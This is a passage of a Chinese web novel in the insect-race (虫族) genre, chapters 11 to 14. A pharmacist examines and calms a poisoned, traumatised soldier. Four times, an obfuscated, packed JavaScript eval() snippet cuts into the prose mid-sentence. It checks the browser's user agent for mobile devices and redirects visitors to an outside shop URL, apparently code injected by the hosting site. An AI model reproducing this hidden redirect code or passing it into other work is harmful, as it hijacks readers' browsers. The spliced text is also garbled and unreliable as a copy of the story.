约束我的思想和行为吧。不要给我感情滋长的余裕。明明从来就没有过那个资格。 雌虫一言不发便直接听话地上前去——然后,被拦下了撕开自己伤口的动作。 一连串行动中几乎一直垂着眼的雌虫有些困惑地抬起头,对上了西尔万还是那样平静的眼神:“……?” 完全不觉得自己的行为有什么不对的样子。 会直接地、过分顺从甚至欣然地接受指令。 但是执行指令的方式过分粗暴。没有珍惜过自己,没有被这样教导过、更没有这样的观念。 ——军雌。 其实应该说心里多少有点“果然”的想法,西尔万只是在艾利安的手前轻轻一挡,见对方明白了他的意思便收回了手,示意一下身旁的仪器:“正常采血就可以了。” 体表温度似乎有点低?不过昨晚刚刚完成了一次化蛹破蛹过程的西尔万其实不太确定是不是自己的温度不正常,又或者对方的种族特殊。 短暂的肢体接触留下了一点浅淡的印象,青年为这已经陌生的触感略略走了个神,勉强补充了一句,“伤口的血液被污染过……不要浪费我的药。” ……触碰自己和触碰其他虫果然还是不一样的。 或者正是因为这种微妙的、虽然甚至是自己主动但还是有触及边界行为,他才会勉为其难的给出这样类似安抚的解释。 因为确实忙碌所以第一次之后隔了一个月都没见面,可西尔万还是在百忙之中抽空跟踪了艾利安的身体情况、给他定制了药。 如果从消耗精力的事实出发去衡量的话,塞安的认知判断确实没有错,艾利安现在确实可以算得上是西尔万的心血。 所以是个很好的解释,也是个确切的事实。 艾利安有些困惑般地接过了西尔万递过来的东西——更具体一点说,医疗器械? 取血用的是直接取指尖血的仪器,用自带的针轻轻戳一下就好。 但艾利安没用过如此精巧的取血手段、甚至都不太理解这个原理,手法颇为生疏,以之前的经验做出了尝试……主要尝试方向是大力出奇迹。 刚要转头开仪器西尔万看着他怀着不知道什么样的决心、差点以把只有小小一个尖的取血针生怼进指骨,终于还是停下了自己的动作、无奈地叹了一口气。 也不差这么一次两次了不是吗?青年上前按住他的手腕:“我来吧。” “……!”艾利安的动作在雄虫温热身体靠近的那刻完全僵住——冻结反应或者应激,什么都好,总之是难以适应的、另一个存在。 11. 特性 第十一章 雌雄之间的体型和力量差距如此悬殊,近乎本能的抵触只是开端,终于反应过来的艾利安生怕自己一个小小的动作就会伤到脆弱的雄虫,即使取回了自己的反应能力也几乎凝固在了原地、像其他随便什么医疗器械一样任对方摆布。 呼吸在这样巨大的心理起落中终于紊乱起来,艾利安压抑着自己呼吸的声音,在这一刻甚至有点困惑自己居然还能维持理智。 ……被握住了手。 然后一片空白的脑海里慢慢悠悠地冒出了一个想法。无法解析出到底带着生什么样的情绪。或者就只是陈述。 ……不,应该就只是陈述而已。他明明已经不会对雄虫产生什么特别的情绪了才对。 可是目光完全无法控制地被吸引。 凑近之后西尔万脸上的倦色越发明显、眼下都带着淡淡的青黑,在白皙的脸上异常瞩目,轻轻垂着眼的时候那张清俊的面容显出十二分的精致,卷翘的睫毛在脸上打下边界清晰的阴影,从这个角度望去完全看不清楚眼里的神色,反倒会被他睫毛的微颤吸引,好像每一个轻微的颤抖都在拨动着某条根本不存在的弦。 西尔万的动作很有条理,与此对应的是整个虫的感觉都很淡,大概确实是累到不想做什么多余的事情了,此时明明是意识到他的目光、他紊乱的呼吸的,却也只是专心手中的动作,甚至都没抬眼看他一下。 或者这种冷淡更多的是因为不在意。并不在意他的想法,确实只把他当成实验体,没有想法、不会给出反应的“物体”。 ……不,其实之前那一句“解释”已经算是“在意”了吧? 艾利安有理有据地反驳自己。其实西尔万根本没必要和他解释那么多的,可对方还是觉察到了他全然只是冒犯的警惕,总是会给出一个“理由”。 对于西尔万来说,这本已经是一种特殊的照顾乃至纵容。 想到这里的时候思绪微妙地停滞。“纵容”是否是个太过柔软的词,总要带出一点温和的感情才是纵容。 好像刻意对某某放开了边界,允许一朵花轻轻落在自己发梢、仿佛一个轻柔亲昵的吻,明明是“异常”的,但只是安静地垂眼。 超过某个界限之后简直会想要远离,如果没有什么特殊、从来就不等于什么的话,为什么要留出让虫更近一步的空间。 甚至只像是礼貌了。因为比普通虫要高很多的道德感所以总是会在被冒犯的时候选择稍微忍耐那么一下,所以很容易引来一些没有自知之明的东西……是吗? 思维发散到这里后又突然反应过来,艾利安简直不知道自己到底在想什么,都已经是称得上冒犯的东西了吧,这些。 难道他的癔症里面还会包括这种内容吗?明明之前在面对那个雄虫的时候从来没有过的。——但在面对他的时候,没有才是正常的吧? 自圆其说。艾利安对自己哑然,不敢再想。 青年纤细的手指上还染着一点青黄色的草木汁液、似乎是配药时不小心沾上的,于是白月白,青草青,并不和谐的配色却居然只显得温柔,像被风吹过轻轻弯折的柳枝。 他的动作也是一样,揉捏雌虫无名指的动作很轻,大概确定好下手位置,便拿过还在捏在艾利安指尖的取血针轻轻一戳。 取物时并没有任何的肌肤接触,却依稀能感知到对方身上的温热温度,像是被阳光照射过的树叶,其实应该是柔和的温度。 针尖刺入皮肤时有微弱的刺痛传来,尖锐却又浅薄,只是短短一个瞬间就被抚平。 温柔浅淡到几乎会让他错以为没有存在过的疼痛。可在精神肉-体同步着无时不在的剧痛面前,居然也全然无法忽视。 然后结束了。那些混乱的根本就不存在任何条理的思绪仿佛也随之结束。艾利安有些茫然地看着那一道对于他来说几乎能够忽略不计的伤口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16990950|193702||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,像是看着什么匪夷所思的根本不能理解的东西。 “好了。” 小小的伤口几乎在针尖抽离的瞬间愈合,确实是雌虫该有的恢复力。 西尔万对自己取血的手法很有信心,所以完全不明白艾利安为什么还要看这样一个根本没有留下任何痕迹的微小伤口。 不过也不是什么大事。他垂眼看一眼刚从艾利安身体里取出、如他伤口般带着奇特细闪光泽的血,转身将其放到一旁的容器里,简单调整了几个参数,便把剩下的事情交给了塞安。 虫族的演化情况极其复杂,所以无法研发出人类那种统一的验血方式,不同的纲目科、乃至属种都可能会需要不同的验血手段,其复杂程度可想而知。 西尔万只是药师,本来要学的东西就已经够多了,这方面只是了解个大概、对几个核心指标有了点概念就把事情交给在医药方面智能程度足够高的塞安——反正真有必要的时候再了解也来得及。 温度略高于自己的柔软皮肤离开了,那一点尖锐而浅薄的疼痛转瞬被淹没,恍惚的、一闪而过的、似乎从来就没有属于过自己的目光也移开。 艾利安的手指颤了颤,迟缓地放下,而目光却死死钉在西尔万的影子上。 太轻了,太轻了。 只是这样的疼痛,甚至盖不过他留在自己指尖的触感。 思绪回到现实,那一点温度那一点接触那一点目光也仿佛从来没有留在自己身上一般消失、没有留下任何痕迹。 有什么混沌的存在重新爬上、覆盖了他的灵魂,雌虫暗淡的眸光颤抖着几乎碎裂,到底没有闭眼。 ……有什么前所未有的东西在他灵魂中缓缓滋生,酸软而饱胀,生生要为自己挣扎出一块可以生长的空间。 又或者那颗种子一直都存在,只是从来没有机会发芽,在绝地中几乎就要这样简单地死去。 这一刻,只是被唤醒。 12. 竭心 第十二章 “到这边来。”西尔万对艾利安孤身一虫的心绪起伏毫无所觉,也毫无兴趣。 仅剩的一点精力,全部都放在了实验数据上,简单处理完数据之后他连说话显得有些有气无力,带着军雌站到一个仪器前,大概比划了一下位置、直白地给出指示,“衣服先都脱掉。” 这实在没什么好说的,伤口的情况需要他亲眼看到检查,而进一步检查用的仪器也和医疗舱一样需要排除干扰—— 说实话他实在很奇怪这个科技的发展方向,检查器械的要求有点太高了—— 不过不管怎么说,脱衣服对于医疗检查项目来说确实是常见要求,总不至于比星舰驾驶员入职体检还要不堪入目。 如他所想,在一个月的时光里恢复了从前的冷静的艾利安对这个要求并没有什么特别的反应,为了医疗检查准备的简单衣服脱掉也用不了多长时间,军雌的动作几乎是两秒结束。 近乎惨白、遍体鳞伤的赤-裸身体就这样被展露在灯光下,如一块遍布着裂纹的璀璨宝石。 他被掩饰在宽松衣物下的身体是非常符合军雌身份的健硕,猿臂蜂腰,腰细腿长,即使经历了之前那样的变故,肌肉的线条依旧没有轻易淡去,清晰流畅,显得越发诱人。 但这具身体上的伤疤实在很多,这甚至已经是治疗舱多次治疗后的结果了,可苍白如骸骨的肢体上依旧遍布着淡化后的瘢痕与仿佛已经撕裂开来露出了鲜红血肉的伤口。 一道道伤口历历可数、竟然像是红宝石的切面,有着比他眼瞳更绮丽的辉光。 特异毒素让伤口流动着虹光、凝固在刚被制造出来没多久的时候,即使经过了治疗舱的治疗外形上也没有太大的变化,与那些过去遗留下来的痕迹交错,让这具本已足够完美的身体在某一刻看起来像一具饱含残缺美凌虐感的艺术品,瑰丽得近乎荒诞的画作。 这种残虐的美几乎足够激发所有虫心中的劣根性,想要将他握在手中,想要试图从中获取更多的掌控感、发泄自己的凌虐欲,让伤口和美由自己来制造,想要看本该强大的存在对自己表示诚服。 兽性,食欲,征服欲,乃至繁衍欲。这是常常会在雌雄之间迸发的“欲望”——并无爱欲之说。 虫族之间或者很难说有什么爱情可言。明明虫族确实有“爱”,却在感情上堪称残疾。 而西尔万的目光平静如注视已经研究无数次的植物切片,对这种扭曲但笃定的美感熟视无睹。 他近身专注地简单研究了一下艾利安身上的伤口,并不意外地发现恢复程度有限——但毒素的侵蚀状态已经停止,甚至有了被反向“溶解”的趋势。 这其实算不上什么好现象,真正的战场在身体内部。这种“溶解”是表面的,所代表的其实是更进一步的同化统合。 西尔万当歪了歪头,算不上真正头痛地叹了口气。 幸好,没有到那个最差的情况。 艾利安的原生科属是园蛛科,觉醒前后的三种显性族血都只是微毒、结网捕猎的蜘蛛。虽然宝石种天赋觉醒后本虫的天赋基本都会得到强化,但依旧没有提升到和他结网、捕猎能力持平的水准,甚至那么点微毒的效果还有点退化。 三重叠加后的结果直接说明他就不适合毒攻,他的血脉于是在最后一次定型的蜕皮、决定性的二次分化中做出了基因判断中最合适的选择,完全牺牲了本虫的毒性来固化蛛丝的毒性、以及增强他本虫的抗毒性。 而这种基因选择非常恰到好处地填补了他作为黑曜种在天赋方面的一部分缺陷——也就是抗毒性低下、弱毒抗的问题。 毕竟宝石种各有特性,而从宝石上延申出来的特性自然也不可能全部都是正面影响,比如硬度极低的宝石对应的宝石种会普遍易于受伤,类似于玻璃大炮。 黑曜石这种宝石因为在形成时未能充分结晶导致其缺乏足够的的韧性来抵抗外部冲击*,在某种程度上是非常易碎的,而这种相对脆弱的特质自然会映射在对应的宝石种身上。 具体表现出来,就是他们更容易被“外力”干扰、破坏内部的平衡,会拥有相对来说更为锋利但极易折断的特性,被毒素、声波、极端天气、精神扰动等因素所影响的程度也更深。 同时,黑曜石的“易碎”也意味着其在破碎后会自然形成尖锐的棱角——多种自然宝石中,这种石头是最容易以原始方式制成刀刃类武器的,石斧石矛多以此制成——所以黑曜种的正面战斗力在诸多宝石种中相当占优,往往能在绝境下爆发“潜能”。 不过关于这点西尔万是抱有一定困惑的,艾利安虽然大概符合这些特点,但黑曜种在毒性上其实没什么特殊的性质,并不符合艾利安在毒性以及抗毒性方面的特异。 再加上现在虫族对能力的开发以及宝石种的定义其实依旧略显粗糙、临近宝石脉的宝石种有一定可能发生误判,他有一点怀疑对方的种类被误判了。 不过黑曜石临近的宝石脉似乎也不存在这种特性,现在艾利安的身体情况完全混乱,能力也无法使用,暂时判断不出什么新信息,便还是暂时放下。 毕竟他对这方面并没有进行过深入研究,也有可能是他从另一个世界带来的信息知识让他产生了难以纠正的刻板印象、出现了一点小小的偏差。 总之,基因自己做出的选择令艾利安在失去毒性的同时抗毒性高度提升,多少弥补了这个缺点,艾利安的生存能力得到了进一步提升……甚至,得以在这次全新的、几乎完全针对雌虫存在的毒素面前存活。 但也仅限存活。 对于任何一个常年征战的军虫来说,毒液和伤势最可怕的地方都不是可能带来的疼痛,而是它对身体机能所造成的损伤。 即使是可以治愈的伤口依旧会在不短的时间里影响到自己的战斗力、因为种种特性留下后遗症,而无法治愈的情况更是会导致自己不得不离开战场、完全失去价值。 更有甚者,这种巨大变故还会直接间接地导致虫族的精神压力过大,直接精神紊乱暴动,是可以间接影响精神力的恐怖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16990951|193702||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 毒素。 雌虫的精神海几乎不具有可成长性,所以太高的精神力对他们来说只会是负担。 精神力等级越高的雌虫精神海所要承担的压力就越大,精神紊乱的后果也越严重,精神海的崩毁远比干脆的死亡可怕。 这一点和雄虫对应,强大的肉-体会对雄虫来说同样是特殊的天赋,伴随着更为巨大的基因崩溃风险而来,他们传承稳定的宝石种特性可以说是以基因的不稳定换取的。 随着年龄增长,等级越高的身体越容易发生基因崩溃,他们对会影响到基因以及身体的因素更加敏感,或者就像硬度极低的宝石,身体极易受伤且伤势难以被治疗。 但雄虫的弱点被雌虫保护着藏起,雌虫的弱点却只是被握在雄虫手中。 除了雄虫的精神力以外,当然还有其他东西可以影响到雌虫,不过目前发现的实体毒素中,并没有能够直接干涉到虫族精神力的类型。 能达成类似效果的都是通过病症痛苦施压、令虫族的精神发生波动,然后进一步紊乱乃至暴动的剧毒,并没有带上超凡的因素,最开始诞生或者向这个方向演化的原因,也不可能是为了针对虫族的精神力。 肉-体与精神到底是不可彼此分割的,极度衰竭的精神会令肉-体状态下滑,肉-体上的痛苦、尤其是神经系统被破坏导致的一系列后遗症也会反过来导致精神不可逆地被损害,一个难以解开的死循环。 艾利安身上这种暂时被命名为“竭心乌”、已经带上了一点超凡因素的神经毒素对雌虫的针对性极强,可以说把这两种威胁做到了极致: 一旦进入身体接触神经,它就会汲取血肉中的能量反过来毁坏身体机能,以侵蚀腐蚀神经的方式来抑制虫族强大的自愈力、乃至进一步降低肉-体等级; 若是没有死亡、甚至被中止了侵蚀毁坏,它对神经系统的严重破环导致的一系列后遗症也难以在短时间内治愈,又会影响雌虫的精神状态、进一步对精神力产生干扰。 艾利安所面对的就是这样的毒素威胁,这毒素融入血肉神经,仿佛每一条神经都变成了潜伏在身体里的阴火,埋伏在寸寸肢体中,无时不刻不在燃烧着他、消耗着他。 除了肉-体,还有精神。 这是以他的身体为资粮为柴薪燃烧起来的火,如贪婪的血吸虫一般汲取着他身上的超凡作为养分,在极其短暂的时间里将艾利安的体质生生降低到了B级。 而身体上的极端痛苦附加之前意外所带来的精神压力,引爆了艾利安本就不稳定的精神力状态、诱发的精神暴动几乎毁掉了他的未来,最后精神海的破碎终于截断了精神暴动的延续,结果便是精神力同身体等级一起跌落到B级。 可即使他身上发生的一切已经如此惨烈,可相比在几秒之内就被这毒素完全耗空抽干乃至死亡的同伴们,艾利安居然还是幸运的。 最起码,他活下来了。 哪怕剩余的寿命不到一年,活下去的每一刻都是痛苦。 ……这真的是幸运吗? 13. 诊脉 第十三章 艾利安的抗毒性到底没有随着身体等级降低而降低,所以在他的身体等级降到B阶时,这抗毒性也终于与烈度随着他本虫身体等级降低而降低的毒素(毒素与身体本身对抗的能量就是从身体中汲取的)打成平手,维持住了微妙的平衡,让他没有直接死亡。 但是,毒素对神经的破坏所导致的不只是简单的身体等级下降,在身体的毁伤被抑制之后,他所要面对的是神经系统被破坏后带来的一系列后遗症。 这就是竭心乌纯天然形成的、进一步针对雌虫的“二阶段”: 确定自己无法汲取能量、继续破坏中毒者身体后,毒素会把主战场转移到神经系统,稳住之前打下的江山,尽其所能保持住神经创伤的状态,让这种痛苦延续下去,延续到对方终于无法接受的那一天。 倘若没有在第一段直接的身体机能破坏中干脆死去,雌虫将要面对的就是漫长的凌迟。 这种精神□□的双重折磨导致了一个既定的结果:在雌虫真正被毒素杀死之前,最先崩溃的是精神。 所以取名为“竭心”,从同样是神经毒素的□□里再取一字为“乌”——成为了这可怖剧毒的名字。 不过在明了成因之后,本来因为牺牲的诸多顶级军雌而对此异常警惕的军部反倒放松了警惕。 毕竟,这种毒素只是机制对顶级雌虫的针对性很强,可对底层军雌反倒没什么大效果: 他们肉-体的等级太低,不足以供这种带一点超凡因素的毒素完成进入身体后第一步的增殖,最多也就是要剜掉一块肉,对虫族来说并不能算是什么大事。 是的,这种毒素几乎可以说是只针对高级军雌。 当初接触到这种毒素的虫等级都在A以上,里面只有艾利安一个凭借着强大的抗毒性和宝石种的体质活了下来——这也是西尔万没有急着研究艾利安身上毒素的原因之一。 出现这个毒素的地方不是核心战场、重点开拓星球,在他得出大概构成、致死原理和目标群体之后,军部那边当即表示可以找出应对方案、也完全不介意慢慢等他的解毒方案,西尔万的工作时间可不能浪费在这种小事情上,唯一一个受害者也已经到了他身边,他们根本没有急切要求解药的原因。 是的,这也就是说除了艾利安本虫以外,没有谁对这种毒的解决方案有刚需,西尔万本人想研究也只是兴趣。 西尔万忙得有限,但也确实算不上空闲。 本来日程排得就多,艾利安这个插队项目带来的也不只是毒,他还要和那边沟通自己结婚这件事、和军部了解具体情况和需求、因为艾利安本虫的身份等问题做一些协调、甚至新的蝶变周期也到了…… 以西尔万的习惯,他能在这种情况下依旧空出时间专门给艾利安调那么几支缓和疼痛辅助恢复身体的药剂已经非常努力了。 更进一步的、根本没被排在目前日程里的解药他是完全没精力动,也就在一开始查看信息的时候架了个潦草的思路出来,到底没有付诸实践 甚至理论上,神经毒素这类东西是没有什么“解药”的(或者说几乎所有毒素都没有所谓的解药),他能做的就是用各种方式排除或者中和掉对方体内的毒素、再修复之前毒素留下的损伤。 后者暂且不提,这种带点超凡因素的毒素要排除起来确实困难重重,各种常规方式有用但不能除根,不能除根就有很大概率卷土重来。 就像前面提到的一样,只要剩下一个根,这种毒素就能通过汲取寄主的能量反哺自己、再次生长,仿佛难以拔除的寄生虫。 所以要“解毒”就必须研发对应的中和剂,也能算是广义上的“解药”,将体内残余的毒素完全中和。 而现在,在一时半会儿不可能把中和剂直接造出来的情况下,他思及自己这甚至是第一次正经治疗一个病虫,自然采用了更为慎重的方案。 竭心乌的自愈力抑制效果主要靠汲取伤口能量达成,前面这段时间的反复治疗主要是为了能够通过外力辅助来稳定对方的身体情况,保证艾利安的伤口不恶化、保持其他生理机能的稳定、并强化他的抗毒性,在保持身体内环境平衡的前提下尽可能削减毒素。 真正的第二阶段是毒素盘踞在神经系统维持损伤的存在、与本虫的自愈力外力的治疗对抗。 现在艾利安这个毒素遍布全身的状态完全就是毒素占了上风,因为能量的不足没办法更进一步的侵蚀,但是每一处已经被打下的地方都无法夺回。 而对方身体里正在进行的“溶解”则是意味着身体在进一步解析解构毒素,甚至发生了一定程度的同化…… 可这种毒根本不是什么可以同化的东西。在双方形态迥异、无法共存的情况下,这和引狼入室也没什么区别了。 真正的战场在“内部”。到底是谁同化谁又是一个问题。 西尔万还是第一次见到这种通过同化毒素来达成的“抗毒性”,于是相当慎重地观察了一下伤口的反应,又提取了一点伤口的样本。 这次他没有问,但是艾利安对此并没有意见。毕竟,依旧是微不足道的痛,只不过因为是由特殊的虫带来而格外尖锐。 微不足道,微不足道……有一瞬间,他甚至希望这种痛苦能够在自己身上复现。 而西尔万思考片刻,还是迟疑着伸手、搭在了艾利安的手腕上。 “……”青年手指搭上来时,雌虫的手腕忍不住一颤,他艰难地垂下眼、目光简直无法控制地钉死在那三根手指上,到底没有开口提出什么疑问,维持住了自己温驯的形象。 艾利安努力无视每一处被对方触碰过的伤口的痒,也尝试不再把注意力放到他与自己相触的、柔软温热的皮肤上。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16990952|193702||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>忽略,努力去忽略,只是检查而已,只是医生而已,身为军雌的他不是经历过很多类似的检查吗…… 可刚刚对方靠近时心中漫出的复杂滋味又在自己的身体里复苏,第一次没有应激简直已经是个奇迹,他的身体慢慢的、无法控制地紧绷起来。 身体和意识仿佛都完全分离开,思绪混乱,身体失控。他的神经鼓动,传来自己心跳的声音,而灵魂里有某种震荡,始终无法触及身体。 ……依稀闻到了草药的味道。是幻觉吗? “……”西尔万又看了他一眼,手指挪动两下调整位置还是无果、简直要怀疑是不是自己基本功不到位,最后终于叹了口气,实在无奈道,“不要紧张啊……也不要刻意控制心跳。” 上辈子他家学渊源传承的是中医、中药方子,后期才去进修的西药(他哥接了中医的传承他就专攻自己兴趣的方面了),启蒙的有些东西会被刻在DNA里,把脉的基本功自然不可能忘记。 但是这辈子面对的是虫族而不是人类,身体结构有重合但不多,前世很多东西都要改过之后才能用,西尔万在这方面又没有深入研究,也就只能简单判断一下情况了。 而尝试给蜘蛛诊脉,最麻烦的在于对方的心脏不止一颗。 ……其实真正的蜘蛛没有心脏,只有类似心脏的结构,高度类人、超凡层面上也向着人类的身体结构同化的虫族才有心脏,但也同样发生了异化。 而艾利安一共有三颗心脏。 好久没诊脉的西尔万本来就在努力分辨不同的心跳、想要恢复一点肌肉记忆做个判断,谁知道刚才的事情对艾利安真有刺激、显然还非常严重,现在虽然表面上的呼吸已经完全恢复正常了,心跳却非常混乱。 哪怕他之前没有把过蜘蛛的脉,但只判断一个心脏的节律是否“正常”还是没有问题的,最多就是综合判断不太行而已。 以现在这个心跳节奏,本来在诊脉方面就只是学了个大概的西尔万完全把不出来什么,甚至感觉自己有点晕。 ——三个心跳叠在一起此起彼伏,要把它们分离开再逐一分析,这对本来就不喜欢把脉且生疏于此的他来说确实很容易晕。 他真的很久没练这望闻问切四件套的基本功了,怎么一上来就是地狱级别的难度啊……甚至连和虫族的适配度都不太能确定。 自己做不到倒也算是正常、就算之前他基本功掌握得太好肯定也不包括同时把三颗心脏的脉这样的内容,这种事情就算他亲哥来了也得迟疑个一盏茶的功夫吧。 不过毕竟自己做不到,那也就只能指望一下艾利安能够自己平静下来了。 他甚至还解释了一句:“你的心跳太乱了,我没办法正常解读。” 在此刻,西尔万并没有意识到自己轻飘飘的一句话,听在艾利安耳中到底会带来何等可怖的感受。 14. 应激 第十四章 心跳太不稳定了吗?艾利安有种本能的、没能满足雄虫需求、又暴露了自己的某些东西某些想法的慌张。 心跳,心跳。注意力但是这一刻在对方语言的指引下过分迅捷地集中到了胸腔里那三个扭曲的结构,神经衰弱的状态下,其实生命体真的能够听清楚自己的心跳。就像这一刻。 扑通,扑通扑通。 确实是混乱的、完全找不到规律的节奏,每一次心跳都像敲在他的鼓膜上又或者敲在他的灵魂上。完全错乱的节奏和他混乱的自我意识一样不堪入耳,相互纠缠着变成一团乱麻。 明明是平静的声音,却在他完成过分熟练的解读后,生生品尝出了谴责的意味。 雄虫什么动作都没有,但是已经有习得性无助一样的东西爬上他的身体、缠绕他的灵魂,这一刻,艾利安感觉自己仿佛一只愚蠢的、被自己所结的网困住的蜘蛛。 弱小无助,会沦落到这般处境只是因为自己的无能。 ……或者自己之前也是这个样子吧?那些痛苦好像都是自找的。 有什么细小的、蜂鸣般的声音从自己耳边响起,是西尔万阁下吗?他努力想要去听,于是那个熟悉的声音把那些和针、刺、毒药一样的东西盖住了。 可是想要控制自己心跳的举动被对方早有预料般阻断,分不清到底是幻觉还是现实,雌虫几乎是茫然地抬眼看向眼前虫,仿佛被解除了唯一一条明确指令的机器,无措地张嘴又闭上,最后一句话也没能说出来。 痛苦也好,困惑也好,无法理解也好,所有本来附加在精神上、和现实隔着一层柔软丝绸的东西,都被这一句话所打破、降临到了他的身上。 最后似乎还剩下一点自救的本能、想要蜷缩起身体仿佛这样就能抑制住痛苦,但是手腕上还停留着温热的、在这一刻几乎要将他灼伤的触感—— 雌虫的瞳孔在再次不得不直面这现实的一刻终于涣散开,显出一种半透明的、将碎未碎般的玻璃光泽,渲染出的血色辉光甚至可怖。 但他其实只是感到可怖。 好可怕,好可怕。 太过灼热的体温。太过靠近的距离。太过折磨的否定。 完全混乱的思绪打碎又重组、全数指向苦痛,在这一刻,艾利安脆弱的“心”悄无声息地开始了又一次崩溃。 凌乱的想法将他的意识与现实剥离解离,雌虫的身体颤抖起来,连微妙蜷缩的姿态都显得虚弱无力,仿佛随时会有虫突破他这最后一层可怜可爱的屏障,剖出他的心脏、碾碎他的骨血。 是的,他脸上那种仿佛憔悴的警惕,所代表的就是这样痛苦的、明知无用却已然要挣扎的自我保护。 ……而发现了他异常的西尔万异常困惑而微妙地沉默了。 怎么会有这么脆的雌虫,明明只是正常的医生引导而已,感觉对方都快要应激惊恐了。 不,应该说,已经轻度惊恐了。 西尔万忍不住开始怀疑自己之前让他一个虫待了那么久是不是错误起到了反作用、反倒让对方变成了高敏症候群(这个社会也不能说是人群了)……又或者是毒素损害神经系统导致的神经衰弱? 好像都有可能。甚至还应该担心一下对方的精神力稳定情况。 ……不会真的有相关的心理或者精神疾病吧? 明明一开始的症状表现应该没有那么严重,他甚至都以为这个猜测只会是个预备案,没想到居然是要在和他接触之后才会展现出来的…… 对方的反应实在太大,西尔万都有点不相信自己,果然这两天应该把神经相关的知识全部复习一遍吗。 不过这个是心理反应、和神经好像又没有那么大关系? “调整呼吸,放慢,看着我的手腕,”遇到突发情况时,脑子总是会转得格外快,心知贸然动作反倒更容易让他加重应激反应,西尔万手指继续轻轻按着、感知着腕脉上的呼吸,一边尽量放缓了语调引导艾利安,“跟我数,7,18,3,65……” “7,18,3,65……”艾利安的思绪依旧是混乱的,但是这种无序数字和明确的指令确实在一定程度上安抚了他、转移了他的注意力。 他遵循着雄虫的命令念下去,那些混乱的难以收拾的警示着他会受到伤害又在时刻提醒着他面前的存在本不该伤害他的思想一点点平复下去,只剩下数字,只剩下从对方口中传出的数字,平和的、稳定的声音。 ……是西尔万。西尔万。 他没有理由伤害自己。最后留下的是这样的想法。他怎么会伤害我。 艾利安慢慢数着,耳边重击着自己的心跳也慢慢平静下来。 那个短暂的、似乎根本没有什么说服力也不该有说服力的想法也慢慢淡去了,留下的痕迹连他自己都觉察不到。 可肌肤相触,他似乎也听到了皮肤下对方的心跳。那样稳定的律动,从始至终都不曾有过改变,好像一个绝对不会偏移的锚点。 令如无根浮萍的他忍不住想要靠近。 “18加65等于几?” “……83。” “13乘7?” “91。” 那些破碎的东西好像又被他自己慢慢拼合起来了。西尔万看着那双眼睛、点了点头。 这套忘记从哪里学来的应急措施还是有点用的,心跳勉强稳一点了——就是不太确定他现在把出来的是不是整整三颗心脏的脉搏。 万一只把出来了一颗、其他两颗不是稳定是没心跳了,那又是另外一回事。 想法跳了一下,眼看对方的眼睛也已经恢复到正常状态,药师自然地换了只手继 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16990953|193702||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 续把脉。 终于可以确定没事,他完全不把刚在的事情放在心上一般自然低头在光脑上记了点东西,便又打量起面前的雌虫,带出些思考的神色。 ——他突然意识到,要治疗这样一只雌虫或者比他想象中的困难、复杂很多……也需要他付出更多时间和精力。 精神和身体双重的影响,艾利安“前世”所遭受的痛苦或者比他想象的还要严重,甚至令他产生了类创伤后遗症的症状,这在虫族中其实是相当罕见的事情。 当然,这个罕见除了虫族的感情敏锐度就比较低、且社会环境特殊导致创伤构成少以外,主要还是因为伤害主因一般都是雄虫、而心理疾病一般会直接以精神力紊乱的方式呈现。 在这种情况下,虫族对心理学并没有什么研究。 对极少数精神等级低、在没有因为精神暴动死去之前就死于自杀的虫的认知,也停留在前世人类社会没有研究心理学时广阁下民群众对那些抑郁症自杀的人的水平,即“不知道怎么就上了吊了”。 西尔万因为上辈子和上上辈子的经历倒是有些了解,但同样没有深入研究过,所以此时也只能判断个大概。 ——所以他居然还是低估这个世界的雄虫的杀伤力了吗?总不能说现在真的有什么雄虫居然还精通精神打压PUA一类的套路—— 就算真的有渣虫也不该是往着这个方向来的吧?毕竟前面都说了,虫族在心理学方面几乎没有发展,本身的情绪也比人类更薄弱,那只雄虫,能走到这个程度也是个天才了。 又或者他接触到的雄虫和对方接触到的不太一样、自己的存在确实给这个世界带来了很大的改变?艾利安前世的情况可能比他想象的还要差很多、复杂很多? 